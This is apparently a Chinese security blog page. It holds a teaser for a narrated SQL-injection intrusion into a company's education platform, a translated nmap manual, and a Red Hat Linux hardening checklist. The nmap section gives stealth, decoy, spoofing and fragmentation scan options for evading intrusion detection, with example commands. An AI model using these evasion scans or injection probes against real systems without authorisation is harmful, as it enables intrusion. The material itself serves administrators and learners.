记一次Linux系统PHP注入入侵检测

题记:
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
第一步:获取需要的信息
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
注:以下为保护特用XXX代替敏感信息 继续阅读 →

NMAP扫描工具的使用方法

nmapnmap 是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。 nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类 型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片 扫描,以及灵活的目标和端口设定。
1.名称
NMAP-网络探测和安全扫描工具
2.语法

nmap [Scan Type(s)] [Options]
3.描述
为了提高nmap在non-root状态下的性能,软件的设计者付出了很大的努力。很不幸,一些内核界面(例如raw socket)需要在root状态下使用。所以应该尽可能在root使用nmap。
nmap 运行通常会得到被扫描主机端口的列表。nmap总会给出well known端口的服务名(如果可能)、端口号、状态和协议等信息。每个端口的状态有:open、filtered、unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。filtered状态表示:防火墙、包过滤和其它的网络安全软件掩盖了这个端口,禁止 nmap探测其是否打开。unfiltered表示:这个端口关闭,并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下,端口的状态基本都是unfiltered状态,只有在大多数被扫描的端口处于filtered状态下,才会显示处于unfiltered状态的端口。
根据使用的功能选项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。
4.功能选项
功能选项可以组合使用。一些功能选项只能够在某种扫描模式下使用。nmap会自动识别无效或者不支持的功能选项组合,并向用户发出警告信息。
如果你是有经验的用户,可以略过结尾的示例一节。可以使用nmap -h快速列出功能选项的列表。
4.1 扫描类型
-sT
TCP connect()扫描:这是最基本的TCP扫描方式。connect()是一种系统调用,由操作系统提供,用来打开一个连接。如果目标端口有程序监听, connect()就会成功返回,否则这个端口是不可达的。这项技术最大的优点是,你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。
-sS
TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回应。如果对方返回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包,源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接,这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是,很少有系统能够把这记入系统日志。不过,你需要root权限来定制SYN数据包。
-sF -sF -sN
秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是:关闭的端口需要对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打开的端口发出复位数据包。
-sP
ping扫描:有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地址发送ICMP echo请求数据包,nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是,一些站点例如:microsoft.com阻塞ICMP echo请求数据包。然而,在默认的情况下nmap也能够向80端口发送TCP ack包,如果你收到一个RST包,就表示主机正在运行。nmap使用的第三种技术是:发送一个SYN包,然后等待一个RST或者SYN/ACK包。对于非root用户,nmap使用connect()方法。
在默认的情况下(root用户),nmap并行使用ICMP和ACK技术。
注意,nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。如果你只是想知道目标主机是否运行,而不想进行其它扫描,才会用到这个选项。
-sU
UDP扫描:如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务,可以使用这种扫描方法。nmap首先向目标主机的每个端口发出一个0字节的UDP包,如果我们收到端口不可达的ICMP消息,端口就是关闭的,否则我们就假设它是打开的。
有些人可能会想UDP扫描是没有什么意思的。但是,我经常会想到最近出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上,这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能!cDc Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。不考虑一些通常的安全缺陷,一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是,UDP扫描有时非常缓慢,因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如,在Linux内核中 (在net/ipv4/icmp.h文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息,如果超过这个比例,就会给1/4秒钟的处罚。 solaris的限制更加严格,每秒钟只允许出现大约2条ICMP不可达消息,这样,使扫描更加缓慢。nmap会检测这个限制的比例,减缓发送速度,而不是发送大量的将被目标主机丢弃的无用数据包。
不过Micro$oft忽略了RFC1812的这个建议,不对这个比例做任何的限制。所以我们可以能够快速扫描运行Win95/NT的主机上的所有65K个端口。
-sA
ACK扫描:这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下,这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序,只是阻塞进入的SYN包。
这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包,这个端口就标记为unfiltered状态。如果什么都没有返回,或者返回一个不可达ICMP消息,这个端口就归入filtered类。注意,nmap通常不输出unfiltered的端口,所以在输出中通常不显示所有被探测的端口。显然,这种扫描方式不能找出处于打开状态的端口。
-sW
对滑动窗口的扫描:这项高级扫描技术非常类似于ACK 扫描,除了它有时可以检测到处于打开状态的端口,因为滑动窗口的大小是不规则的,有些操作系统可以报告其大小。这些系统至少包括:某些版本的AIX、 Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。从nmap-hackers邮件3列表的文档中可以得到完整的列表。
-sR
RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令,以确定它们是否是RPC端口,如果是,就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。
-b
FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征,它支持代理FTP连接。也就是说,我能够从evil.com连接到FTP服务器target.com,并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件!1985年,RFC959完成时,这个特征就能很好地工作了。然而,在今天的Internet 中,我们不能让人们劫持FTP服务器,让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的,这个协议”能够用来做投递虚拟的不可达邮件和新闻,进入各种站点的服务器,填满硬盘,跳过防火墙,以及其它的骚扰活动,而且很难进行追踪”。我们可以使用这个特征,在一台代理FTP服务器扫描TCP端口。因此,你需要连接到防火墙后面的一台FTP服务器,接着进行端口扫描。如果在这台FTP服务器中有可读写的目录,你还可以向目标端口任意发送数据(不过nmap不能为你做这些)。
传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为:
-b username:password@server:port。
除了server以外,其余都是可选的。如果你想知道什么服务器有这种缺陷,可以参考我在Phrack 51发表的文章。还可以在nmap的站点得到这篇文章的最新版本。
4.2 通用选项
这些内容不是必需的,但是很有用。
-P0
在扫描之前,不必ping主机。有些网络的防火墙不允许ICMP echo请求穿过,使用这个选项可以对这些网络进行扫描。microsoft.com就是一个例子,因此在扫描这个站点时,你应该一直使用-P0或者-PT 80选项。
-PT
扫描之前,使用TCP ping确定哪些主机正在运行。nmap不是通过发送ICMP echo请求包然后等待响应来实现这种功能,而是向目标网络(或者单一主机)发出TCP ACK包然后等待回应。如果主机正在运行就会返回RST包。只有在目标网络/主机阻塞了ping包,而仍旧允许你对其进行扫描时,这个选项才有效。对于非 root用户,我们使用connect()系统调用来实现这项功能。使用-PT <端口号>来设定目标端口。默认的端口号是80,因为这个端口通常不会被过滤。
-PS
对于root用户,这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。如果主机正在运行就返回一个RST包(或者一个SYN/ACK包)。
-PI
设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。使用这个选项让nmap发现正在运行的主机的同时,nmap也会对你的直接子网广播地址进行观察。直接子网广播地址一些外部可达的IP地址,把外部的包转换为一个内向的IP广播包,向一个计算机子网发送。这些IP广播包应该删除,因为会造成拒绝服务攻击(例如 smurf)。
-PB
这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。
-O
这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。换句话说,nmap使用一些技术检测目标主机操作系统网络协议栈的特征。nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。
-I
这个选项打开nmap的反向标志扫描功能。Dave Goldsmith 1996年向bugtap发出的邮件注意到这个协议,ident协议(rfc 1413)允许使用TCP连接给出任何进程拥有者的用户名,即使这个进程并没有初始化连接。例如,你可以连接到HTTP端口,接着使用identd确定这个服务器是否由root用户运行。这种扫描只能在同目标端口建立完全的TCP连接时(例如:-sT扫描选项)才能成功。使用-I选项是,远程主机的 identd精灵进程就会查询在每个打开的端口上监听的进程的拥有者。显然,如果远程主机没有运行identd程序,这种扫描方法无效。
-f
这个选项使nmap使用碎片IP数据包发送SYN、FIN、XMAS、NULL。使用碎片数据包增加包过滤、入侵检测系统的难度,使其无法知道你的企图。不过,要慎重使用这个选项!有些程序在处理这些碎片包时会有麻烦,我最喜欢的嗅探器在接受到碎片包的头36个字节时,就会发生 segmentation faulted。因此,在nmap中使用了24个字节的碎片数据包。虽然包过滤器和防火墙不能防这种方法,但是有很多网络出于性能上的考虑,禁止数据包的分片。
注意这个选项不能在所有的平台上使用。它在Linux、FreeBSD、OpenBSD以及其它一些UNIX系统能够很好工作。
-v
冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息。使用这个选项,你可以得到事半功倍的效果。使用-d选项可以得到更加详细的信息。
-h
快速参考选项。
-oN
把扫描结果重定向到一个可读的文件logfilename中。
-oM
把扫描结果重定向到logfilename文件中,这个文件使用主机可以解析的语法。你可以使用-oM -来代替logfilename,这样输出就被重定向到标准输出stdout。在这种情况下,正常的输出将被覆盖,错误信息荏苒可以输出到标准错误 stderr。要注意,如果同时使用了-v选项,在屏幕上会打印出其它的信息。
-oS thIs l0gz th3 r3suLtS of YouR ScanZ iN a s|   THe fiL3 U sPecfy 4s an arGuMEnT! U kAn gIv3 the 4rgument –
(wItHOUt qUOteZ) to sh00t output iNT0 stDouT!@!! 莫名其妙,下面是我猜着翻译的,相形字?
把扫描结果重定向到一个文件logfilename中,这个文件使用一种”黑客方言”的语法形式(作者开的玩笑?)。同样,使用-oS -就会把结果重定向到标准输出上。
-resume
某个网络扫描可能由于control-C或者网络损失等原因被中断,使用这个选项可以使扫描接着以前的扫描进行。logfilename是被取消扫描的日志文件,它必须是可读形式或者机器可以解析的形式。而且接着进行的扫描不能增加新的选项,只能使用与被中断的扫描相同的选项。nmap会接着日志文件中的最后一次成功扫描进行新的扫描。
-iL
从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息。
-iR
让nmap自己随机挑选主机进行扫描。
-p <端口范围>
这个选项让你选择要进行扫描的端口号的范围。例如,-p 23表示:只扫描目标主机的23号端口。-p 20-30,139,60000-表示:扫描20到30号端口,139号端口以及所有大于60000的端口。在默认情况下,nmap扫描从1到1024号以及nmap-services文件(如果使用RPM软件包,一般在/usr/share/nmap/目录中)中定义的端口列表。
-F
快速扫描模式,只扫描在nmap-services文件中列出的端口。显然比扫描所有65535个端口要快。
-D
使用诱饵扫描方法对目标网络/主机进行扫描。如果nmap使用这种方法对目标网络进行扫描,那么从目标主机/网络的角度来看,扫描就象从其它主机 (decoy1,等)发出的。从而,即使目标主机的IDS(入侵检测系统)对端口扫描发出报警,它们也不可能知道哪个是真正发起扫描的地址,哪个是无辜的。这种扫描方法可以有效地对付例如路由跟踪、response-dropping等积极的防御机制,能够很好地隐藏你的IP地址。
每个诱饵主机名使用逗号分割开,你也可以使用ME选项,它代表你自己的主机,和诱饵主机名混杂在一起。如果你把ME放在第六或者更靠后的位置,一些端口扫描检测软件几乎根本不会显示你的IP地址。如果你不使用ME选项,nmap会把你的IP地址随机夹杂在诱饵主机之中。
注意:你用来作为诱饵的主机应该正在运行或者你只是偶尔向目标发送SYN数据包。很显然,如果在网络上只有一台主机运行,目标将很轻松就会确定是哪台主机进行的扫描。或许,你还要直接使用诱饵的IP地址而不是其域名,这样诱饵网络的域名服务器的日志上就不会留下关于你的记录。
还要注意:一些愚蠢的端口扫描检测软件会拒绝路由试图进行端口扫描的主机。因而,你需要让目标主机和一些诱饵断开连接。如果诱饵是目标主机的网关或者就是其自己时,会给目标主机造成很大问题。所以你需要慎重使用这个选项。
诱饵扫描既可以在起始的ping扫描也可以在真正的扫描状态下使用。它也可以和-O选项组合使用。
使用太多的诱饵扫描能够减缓你的扫描速度甚至可能造成扫描结果不正确。同时,有些ISP会把你的欺骗包过滤掉。虽然现在大多数的ISP不会对此进行限制。
-S <IP_Address>
在一些情况下,nmap可能无法确定你的源地址(nmap会告诉你)。在这种情况下,可以使用这个选项给出你的IP地址。
在欺骗扫描时,也使用这个选项。使用这个选项可以让目标认为是其它的主机对自己进行扫描。
-e
告诉nmap使用哪个接口发送和接受数据包。nmap能够自动对此接口进行检测,如果无效就会告诉你。
-g
设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接。显然,如果攻击者把源端口修改为20或者53,就可以摧毁防火墙的防护。在使用UDP扫描时,先使用53号端口;使用TCP扫描时,先使用20号端口。注意只有在能够使用这个端口进行扫描时,nmap才会使用这个端口。例如,如果你无法进行TCP扫描,nmap会自动改变源端口,即使你使用了-g选项。
对于一些扫描,使用这个选项会造成性能上的微小损失,因为我有时会保存关于特定源端口的一些有用的信息。
-r
告诉nmap不要打乱被扫描端口的顺序。
–randomize_hosts
使nmap在扫描之前,打乱每组扫描中的主机顺序,nmap每组可以扫描最多2048台主机。这样,可以使扫描更不容易被网络监视器发现,尤其和–scan_delay 选项组合使用,更能有效避免被发现。
-M
设置进行TCP connect()扫描时,最多使用多少个套接字进行并行的扫描。使用这个选项可以降低扫描速度,避免远程目标宕机。
4.3 适时选项
通常,nmap在运行时,能够很好地根据网络特点进行调整。扫描时,nmap会尽量减少被目标检测到的机会,同时尽可能加快扫描速度。然而,nmap默认的适时策略有时候不太适合你的目标。使用下面这些选项,可以控制nmap的扫描timing:
-T
设置nmap的适时策略。Paranoid:为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一 个包; Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4 秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;b>Insane:只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。你也可是使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。
这些适时模式不能下面的适时选项组合使用。
–host_timeout
设置扫描一台主机的时间,以毫秒为单位。默认的情况下,没有超时限制。
–max_rtt_timeout
设置对每次探测的等待时间,以毫秒为单位。如果超过这个时间限制就重传或者超时。默认值是大约9000毫秒。
–min_rtt_timeout
当目标主机的响应很快时,nmap就缩短每次探测的超时时间。这样会提高扫描的速度,但是可能丢失某些响应时间比较长的包。使用这个选项,可以让nmap对每次探测至少等待你指定的时间,以毫秒为单位。
–initial_rtt_timeout
设置初始探测的超时值。一般这个选项只在使用-P0选项扫描有防火墙保护的主机才有用。默认值是6000毫秒。
–max_parallelism
设置最大的并行扫描数量。–max_parallelism 1表示同时只扫描一个端口。这个选项对其它的并行扫描也有效,例如ping sweep, RPC scan。
–scan_delay
设置在两次探测之间,nmap必须等待的时间。这个选项主要用于降低网络的负载。
4.4 目标设定
在 nmap的所有参数中,只有目标参数是必须给出的。其最简单的形式是在命令行直接输入一个主机名或者一个IP地址。如果你希望扫描某个IP地址的一个子网,你可以在主机名或者IP地址的后面加上/掩码。掩码在0(扫描整个网络)到32(只扫描这个主机)。使用/24扫描C类地址,/16扫描B 类地址。
除此之外,nmap还有更加强大的表示方式让你更加灵活地指定IP地址。例如,如果要扫描这个B类网络128.210.*.*,你可以使用下面三种方式来指定这些地址:128.210.*.*、128.21-.0-255.0-255或者128.210.0.0/16这三种形式是等价的。
5.例子
本节将由浅入深地举例说明如何使用nmap。
nmap -v target.example.com
扫描主机target.example.com的所有TCP端口。-v打开冗余模式。
nmap -sS -O target.example.com/24
发起对target.example.com所在网络上的所有255个IP地址的秘密SYN扫描。同时还探测每台主机操作系统的指纹特征。需要root权限。
nmap -sX -p 22,53,110,143,4564 128.210.*.1-127
对B类IP地址128.210中255个可能的8位子网的前半部分发起圣诞树扫描。确定这些系统是否打开了sshd、DNS、pop3d、imapd和4564端口。注意圣诞树扫描对Micro$oft的系统无效,因为其协议栈的TCP层有缺陷。
nmap -v –randomize_hosts -p 80 *.*.2.3-5
只扫描指定的IP范围,有时用于对这个 Internet进行取样分析。nmap将寻找Internet上所有后两个字节是.2.3、.2.4、.2.5的 IP地址上的WEB服务器。如果你想发现更多有意思的主机,你可以使用127-222,因为在这个范围内有意思的主机密度更大。
host -l company.com | cut -d -f 4 | ./nmap -v -iL –
列出company.com网络的所有主机,让nmap进行扫描。注意:这项命令在GNU/Linux下使用。如果在其它平台,你可能要使用 其它的命令/选项。

Red Hat Linux 安全设置文档

Red Hat Linux本文从各方面阐述了Red Hat Linux的安全配置方法,如果您使用的是Windows Server 2003服务器的话,请看Windows Server 2003 系统配置方案
网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。
网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。
1,最小化安全系统,删除不必要的软件,关闭不必要的服务.
# ntsysv
以下仅列出需要启动的服务,未列出的服务一律推荐关闭,必要运行的服务再逐个打开.
atd
crond
irqbalance
microcode_ctl
network
sshd
syslog
2,删除finger程序,具体方法如下
#rpm –e finger
3,BOIS安全设置
4,帐号安全设置
修改/etc/login.def文件
PASS_MAX_DAYS   120 ?设置密码过期日期
PASS_MIN_DAYS   0   ?设置密码最少更改日期
PASS_MIN_LEN    10    ?设置密码最小长度
PASS_WARN_AGE   7  ?设置过期提前警告天数
确保/etc/shadow为root只读
确保/etc/passwd为root读写
定期用密码工具检测用户密码强度
5, /etc/exports
如果通过NFS把文件共享出来,那么一定要配置”/etc/exports”文件,使得访问限制尽可能的严格.这就是说,不要使用通配符,不允许对根目录有写权限,而且尽可能的只给读权限.在/etc/exports文件加入:
/dir/to/export host1.mydomain.com(ro,root_squash)
/dir/to/export host2.mydomain.com(ro,root_squash)
建议最好不要使用NFS.
6,inetd.conf或xinetd.conf
如果是inetd.conf建议注释掉所有的r开头的程序,exec等
7,TCP_Wrappers
在/etc/hosts.allow中加入允许的服务,在/etc/hosts.deny里加入这么一行ALL:ALL
8,/etc/aliases文件
Aliases文件如果管理错误或管理粗心就会造成安全隐患.把定义”decode”这个别名的行从aliases文件中删除.
编辑aliases,删除或注释下面这些行:
#games: root
#ingres: root
#system: root
#toor: root
#uucp: root
#manager: root
#dumper: root
#operator: root
#decode: root
运行/usr/bin/nesaliases重新加载.
9,防止sendmail被没有授权的用户滥用
编辑sendmail.cf
把PrivacyOptions=authwarnings
改为PrivacyOptions=authwarnings,noexpn,novrfy
10,不响应ping
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
11,使TCP SYN Cookie保护生效
Echo 1 > /proc/sys/net/ipv4/tcp_syncookies
12,删除不必要的用户和组用户
删除的用户,如adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等
删除的组,如adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers等
可以设置不可更改位
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/gshadow
13,防止任何人都可以用su命令成为root

编辑su文件(vi /etc/pam.d/su),加入如下两行
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel
把能su为root的用户加入wheel组
usermod  -G10 username
14,使Control+Alt+Delete关机键无效
编辑inittab文件,注释掉
Ca:ctrlaltdel:/sbin/shutdown –t3 –r now
运行/sbin/init q 使设置生效
15,创建所有重要的日志文件的硬拷贝
如果服务器比较重要,可以考虑把ssh,mail,引导信息等打印出来.在/etc/syslog.conf文件中加入一行.:
Authpriv.*;mail.*;local7.*;auth.*;daemon.info /dev/lp0
执行/etc/rc.d/init.d/syslog restart
或者把日志发送到其它服务器保存

authpriv.*                 /var/log/secure
要把它发送到192.168.0.2,就可以这样修改
authpriv.* @192.168.0.2                /var/log/secure
16,改变/etc/rc.d/init.d目录下的脚本文件的访问许可
chmod –R 700 /etc/rc.d/init.d/*
注意:慎重修改此安全设置
17,/etc/rc.d/rc.local
把此文件中无关的信息全部注释,不让任何人看到任何有关主机的信息.
删除/etc下的issue和issue.net
18,带S位的程序
可以清除s位的程序包括但不限于:
从来不用的程序;
不希望非root用户运行的程序;
偶尔用用,但是不介意先用su命令变为root后再运行.
find / -type f \( -perm 04000 –o –perm -02000 \)  -print
chmod a-s 程序名
19,查看系统隐藏文件
find / -name “.*” –print
20,查找任何人都有写权限的文件和目录
find / -type f  \( -perm -2  -o perm -20 \) ls
find / -type f  \( -perm -2 –o –perm -20 \) ls
21,查找系统中没有主人的文件
find / -nouser –o –nogroup
22,查找.rhosts文件
find /home -name “.rhosts”
如果有,请删除它.
23,收回系统编译器的权限或删除
如: chmod 700 /usr/bin/gcc
一、磁盘分区
1、如果是新安装系统,对磁盘分区应考虑安全性:
1)根目录(/)、用户目录(/home)、临时目录(/tmp)和/var目录应分开到不同的磁盘分区;
2)以上各目录所在分区的磁盘空间大小应充分考虑,避免因某些原因造成分区空间用完而导致系统崩溃;
2、对于/tmp和/var目录所在分区,大多数情况下不需要有suid属性的程序,所以应为这些分区添加nosuid属性;
方法一:修改/etc/fstab文件,添加nosuid属性字。例如:
/dev/hda2 /tmp ext2 exec,dev,nosuid,rw 0 0
方法二:如果对/etc/fstab文件操作不熟,建议通过Linuxconf程序来修改。
运行linuxconf程序;
选择”File systems”下的”Access local drive”;
选择需要修改属性的磁盘分区;
选择”No setuid programs allowed”选项;
根据需要选择其它可选项;
正常退出。(一般会提示重新mount该分区)
二、安装
1、对于非测试主机,不应安装过多的软件包。这样可以降低因软件包而导致出现安全漏洞的可能性。
2、对于非测试主机,在选择主机启动服务时不应选择非必需的服务。例如routed、ypbind等。
三、安全配置与增强
内核升级。起码要升级至2.2.16以上版本。
GNU libc共享库升级。(警告:如果没有经验,不可轻易尝试。可暂缓。)
关闭危险的网络服务。echo、chargen、shell、login、finger、NFS、RPC等
关闭非必需的网络服务。talk、ntalk、pop-2等
常见网络服务安全配置与升级
确保网络服务所使用版本为当前最新和最安全的版本。
取消匿名FTP访问
去除非必需的suid程序
使用tcpwrapper
使用ipchains防火墙
日志系统syslogd
一些细节:
1.操作系统内部的log file是检测是否有网络入侵的重要线索,当然这个假定你的logfile不被侵入者所破坏,如果你有台服务器用专线直接连到Internet上,这意味着你的IP地址是永久固定的地址,你会发现有很多人对你的系统做telnet/ftp登录尝试,试着运行#more /var/log/secure   grep refused 去检查。
2. 限制具有SUID权限标志的程序数量,具有该权限标志的程序以root身份运行,是一个潜在的安全漏洞,当然,有些程序是必须要具有该标志的,象passwd程序。
3.BIOS安全。设置BIOS密码且修改引导次序禁止从软盘启动系统。
4. 用户口令。用户口令是Linux安全的一个最基本的起点,很多人使用的用户口令就是简单的‘passWord,这等于给侵入者敞开了大门,虽然从理论上说没有不能确解的用户口令,只要有足够的时间和资源可以利用。比较好的用户口令是那些只有他自己能够容易记得并理解的一串字符,并且绝对不要在任何地方写出来。
5./etc/eXPorts 文件。如果你使用NFS网络文件系统服务,那么确保你的/etc/exports具有最严格的存取权限设置,不意味着不要使用任何通配符,不允许root写权限,mount成只读文件系统。编辑文件/etc/exports并且加:例如:
/dir/to/export host1.mydomain.com(ro,root_squash)
/dir/to/export host2.mydomain.com(ro,root_squash)
/dir/to/export 是你想输出的目录,host.mydomain.com是登录这个目录的机器名,
ro意味着mount成只读系统,root_squash禁止root写入该目录。
为了让上面的改变生效,运行/usr/sbin/exportfs -a
6.确信/etc/inetd.conf的所有者是root,且文件权限设置为600 。
[root@deep]# chmod 600 /etc/inetd.conf
ENSURE that the owner is root.
[root@deep]# stat /etc/inetd.conf
File: “/etc/inetd.conf”
Size: 2869 Filetype: Regular File
Mode: (0600/-rw——-) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 8,6 Inode: 18219 Links: 1
Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)
Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)
Change:Mon Sep 20 10:22:44 1999(00002.06:12:16)
编辑/etc/inetd.conf禁止以下服务:
ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger,
auth, etc. 除非你真的想用它。
特别是禁止那些r命令.如果你用ssh/scp,那么你也可以禁止掉telnet/ftp。
为了使改变生效,运行#killall -HUP inetd
你也可以运行#chattr +i /etc/inetd.conf使该文件具有不可更改属性。
只有root才能解开,用命令
#chattr -i /etc/inetd.conf
7. TCP_WRAPPERS
默认地,Redhat Linux允许所有的请求,用TCP_WRAPPERS增强你的站点的安全性是举手
之劳,你可以放入
“ALL: ALL”到/etc/hosts.deny中禁止所有的请求,然后放那些明确允许的请求到
/etc/hosts.allow中,如:
sshd: 192.168.1.10/255.255.255.0 gate.openarch.com
对IP地址192.168.1.10和主机名gate.openarch.com,允许通过ssh连接。
配置完了之后,用tcpdchk检查
[root@deep]# tcpdchk
tcpchk是TCP_Wrapper配置检查工具,
它检查你的tcp wrapper配置并报告所有发现的潜在/存在的问题。
8. 别名文件aliases
编辑别名文件/etc/aliases(也可能是/etc/mail/aliases),移走/注释掉下面的行。
# Basic system aliases — these MUST be present.
MAILER-DAEMON: postmaster
postmaster: root
# General redirections for pseudo accounts.
bin: root
daemon: root
#games: root ?remove or comment out.
#ingres: root ?remove or comment out.
nobody: root
#system: root ?remove or comment out.
#toor: root ?remove or comment out.
#uUCp: root ?remove or comment out.
# Well-known aliases.
#manager: root ?remove or comment out.
#dumper: root ?remove or comment out.
#operator: root ?remove or comment out.
# trap decode to catch security attacks
#decode: root
# Person who should get roots mail
#root: marc
最后更新后不要忘记运行/usr/bin/newaliases,使改变生效。
9.阻止你的系统响应任何从外部/内部来的ping请求。
既然没有人能ping通你的机器并收到响应,你可以大大增强你的站点的安全性。你可以加下面的一行命令到/etc/rc.d/rc.local,以使每次启动后自动运行。
echo 1 >; /proc/sys/net/ipv4/icmp_echo_ignore_all
10. 不要显示出操作系统和版本信息。
如果你希望某个人远程登录到你的服务器时不要显示操作系统和版本信息,你能改变
/etc/inetd.conf中的一行象下面这样:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h
加-h标志在最后使得telnet后台不要显示系统信息,而仅仅显示login:
11.The /etc/host.conf file
编辑host.conf文件(vi /etc/host.conf)且加下面的行:
# Lookup names via DNS first then fall back to /etc/hosts.
order bind,hosts
# We dont have machines with multiple IP addresses on the same card
(like virtual server,IP Aliasing).
multi off
# Check for IP address spoofing.
nospoof on
IP Spoofing: IP-Spoofing is a security exploit that works by tricking
computers in a trust relationship that you are someone that you really arent.
12. The /etc/securetty file
该文件指定了允许root登录的tty设备,/etc/securetty被/bin/login程序读取,它的
